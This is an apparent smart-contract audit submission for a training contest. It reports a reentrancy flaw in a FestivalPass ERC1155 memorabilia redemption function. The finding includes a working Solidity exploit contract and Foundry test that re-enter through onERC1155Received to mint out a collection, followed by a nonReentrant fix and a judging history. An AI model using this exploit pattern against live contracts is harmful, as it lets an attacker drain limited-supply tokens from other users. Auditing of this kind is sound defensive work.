Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Reentrancy Vulnerability in Memorabilia NFT Redemption Logic

Root + Impact

Description

  • The FestivalPass contract allows users to redeem unique memorabilia NFTs sequentially from a specified collectionId, with each collection enforcing a maximum supply limit

  • According to the ERC1155 standard, _mint() will invoke checkOnERC1155Received() or checkOnERC1155BatchReceived(), which performs a callback to the recipient contract to ensure it can accept the token, which is known to introduces a vector for reentrancy attacks.

  • Since redeemMemorabilia() lacks reentrancy protection, As a result, an attacker can deploy a malicious contract, initiate a call to redeemMemorabilia(), and recursively re-enter the function via onERC1155Received() to drain the entire collection in a single transaction.

@> // lack reentrancy protection such as `nonReentrant` provided by Openzeppelin
function redeemMemorabilia(uint256 collectionId) external {
...
}

Risk

Likelihood:

  • Reentrancy attacks are well-known and widely exploited

  • Since the redemption process only requires a sufficient balance of BeatToken, any user or contract holding enough tokens can exploit the vulnerability without needing special privileges.

Impact:

  • DoS: Legitimate users will be unable to redeem memorabilia from affected collections

  • Economic Disruption: If memorabilia NFTs have collectible or monetary value, the attacker may extract outsized economic benefits

  • User Trust Degradation: The unexpected depletion of a collection’s supply undermines user confidence in the platform’s fairness, reliability, and security.

Proof of Concept

Add the following test and exploit contract, then run the command: forge test -vv --match-test test_RedeemMemorabilia_DoS

// add this test
function test_RedeemMemorabilia_DoS() public {
// Setup collection
vm.prank(organizer);
uint256 _maxSupply = 5;
uint256 collectionId = festivalPass.createMemorabiliaCollection(
"DoS Collection",
"ipfs://QmDoS",
50e18,
_maxSupply,
true
);
// Deplot exploit contract then perform DoS attack
console.log("User 1 deploys exploit contract and redeems all items from collection");
vm.prank(user1);
ReentrancyCollection exploit = new ReentrancyCollection(
festivalPass,
beatToken,
collectionId,
_maxSupply - 1 // logic error in `redeemMemorabilia()` allows minting one less than max supply
);
vm.prank(address(festivalPass));
beatToken.mint(address(exploit), 200e18);
exploit.exploit();
// User2 tries to redeem item
vm.prank(address(festivalPass));
beatToken.mint(user2, 200e18);
vm.prank(user2);
vm.expectRevert("Collection sold out");
festivalPass.redeemMemorabilia(collectionId);
console.log("User2 failed to redeem item");
}
// Exploit contract
contract ReentrancyCollection is IERC1155Receiver {
FestivalPass public _festivalPass;
BeatToken public _beatToken;
uint256 _colectionId;
uint256 _maxSupply;
uint256 _mint_amount;
constructor(FestivalPass festivalPass, BeatToken beatToken, uint256 colectionId, uint256 maxSupply) payable {
_festivalPass = festivalPass;
_beatToken = beatToken;
_colectionId = colectionId;
_maxSupply = maxSupply;
}
function exploit() external {
_festivalPass.redeemMemorabilia(_colectionId);
}
function onERC1155Received (
address,
address,
uint256,
uint256,
bytes calldata
) external returns (bytes4) {
// mint all items in the collection
if (++_mint_amount < _maxSupply) {
_festivalPass.redeemMemorabilia(_colectionId);
}
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived (
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 interfaceId) external pure returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId;
}
receive() external payable {
}
}

PoC Results:

forge test -vv --match-test test_RedeemMemorabilia_DoS
[⠊] Compiling...
[⠑] Compiling 1 files with Solc 0.8.25
[⠃] Solc 0.8.25 finished in 712.73ms
Ran 1 test for test/FestivalPass.t.sol:FestivalPassTest
[PASS] test_RedeemMemorabilia_DoS() (gas: 1069835)
Logs:
User 1 deploys exploit contract and redeems all items from collection
User2 failed to redeem item
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.89ms (1.41ms CPU time)
Ran 1 test suite in 232.03ms (6.89ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

Implement reentrancy protection, such as using ReentrancyGuard provided by Openzeppelin and append nonReentrant modifier on redeemMemorabilia()

+ function redeemMemorabilia(uint256 collectionId) external nonReentrant {
- function redeemMemorabilia(uint256 collectionId) external {
MemorabiliaCollection storage collection = collections[collectionId];
require(collection.priceInBeat > 0, "Collection does not exist");
require(collection.isActive, "Collection not active");
require(collection.currentItemId < collection.maxSupply, "Collection sold out");
// Burn BEAT tokens
BeatToken(beatToken).burnFrom(msg.sender, collection.priceInBeat);
// Generate unique token ID
uint256 itemId = collection.currentItemId++;
uint256 tokenId = encodeTokenId(collectionId, itemId);
// Store edition number
tokenIdToEdition[tokenId] = itemId;
// Mint the unique NFT
_mint(msg.sender, tokenId, 1, "");
emit MemorabiliaRedeemed(msg.sender, tokenId, collectionId, itemId);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Memorabilia distribution is unfair and can be exploited via frontrunning / reentrancy

Appeal created

agent3bood Auditor
3 months ago
inallhonesty Lead Judge
3 months ago
inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Memorabilia distribution is unfair and can be exploited via frontrunning / reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.